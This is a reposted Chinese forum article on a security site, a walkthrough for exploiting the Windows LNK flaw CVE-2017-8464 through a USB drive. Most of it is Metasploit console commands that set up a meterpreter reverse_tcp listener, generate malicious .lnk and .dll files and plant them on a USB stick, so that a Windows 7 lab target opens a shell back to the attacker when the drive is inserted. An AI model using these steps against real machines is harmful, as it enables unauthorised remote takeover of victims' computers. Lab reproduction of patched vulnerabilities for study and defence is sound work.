发帖
扫码访问
 注册
 登录
首页 ›网络安全› 安全学院 › 查看内容

号称“震网三代”的远程代码执行漏洞，利用U盘获取系统权限

2020-6-11 16:21 |来自: 互联网 1022 0

摘要: 17年的问题，最近清理以前磁盘的文件发现这个记录文档，写在这里。引言微软在2017年6月中旬发布的补丁包中包含了一个关于LNK文件远程代码执行的漏洞，CVE编号为CVE-2017-8464，描述如果系统处理了恶意的.LNK文件，则可能允许远程执行代码，成功利用这个漏洞会获得与本地用户相同的用户权限，攻击者可以 ...
关键词： Windows exploit 盘根 Microsoft 靶机 192.168 目录 handler 文件 kali

17年的问题，最近清理以前磁盘的文件发现这个记录文档，写在这里。

引言

微软在2017年6月中旬发布的补丁包中包含了一个关于LNK文件远程代码执行的漏洞，CVE编号为CVE-2017-8464，描述如果系统处理了恶意的.LNK文件，则可能允许远程执行代码，成功利用这个漏洞会获得与本地用户相同的用户权限，攻击者可以通过任意可移动驱动器（如U盘）或者远程共享的方式传播攻击。我们以U盘测试，当受害者主机加载该U盘即会受到攻击，无需受害者手动点击访问U盘，断开U盘shell会话保持。

当时影响任何未安装CVE-2017-8464补丁的Windows系统，可绕过MS10-046 & MS15-020补丁防护，涉及Microsoft Windows 10、Microsoft Windows 7、Microsoft Windows 8、Microsoft Windows 8.1、Microsoft Windows Server 2008、Microsoft Windows Server 2012、Microsoft Windows Server 2016。

漏洞利用

测试环境：

攻击机：kali 2.0（192.168.80.226）

靶机：win7 x64（192.168.80.114）

1、下载exp放在kali对应目录（新版kali应该已经自带了），此处以放在该测试目录为例（kali2.0：/usr/share/metasploit-framework/modules/exploit/windows/smb/），在kali里配置监听

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.80.226
LHOST => 192.168.80.226
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.80.226:4444
msf exploit(handler) > [*] Starting the payload handler...
back
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.80.226
LHOST => 192.168.80.226
msf exploit(cve_2017_8464_lnk_rce) > exploit

执行成功后会在/root/.msf4/local/*目录生成.dll和.lnk文件

2、在kali里加载U盘，复制文件到U盘根目录

查看加载的U盘：

将kali目录 /root/.msf4/local/* 下的 .lnk文件复制到U盘根目录

复制完成后的U盘根目录

3、在靶机上插入U盘，无需手动点击访问U盘，靶机即可受到攻击，测试在win7靶机中插入U盘时，kali攻击机收到反弹的shell

"
本文出处： https://www.toutiao.com/i6836345283345908227/
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过
雷人
握手
鲜花
鸡蛋
收藏 分享 邀请
上一篇：微软证书漏洞Windows验证机制及可执行文件签名复现下一篇：关于Powershell免杀的探索

最新评论

相关分类

返回顶部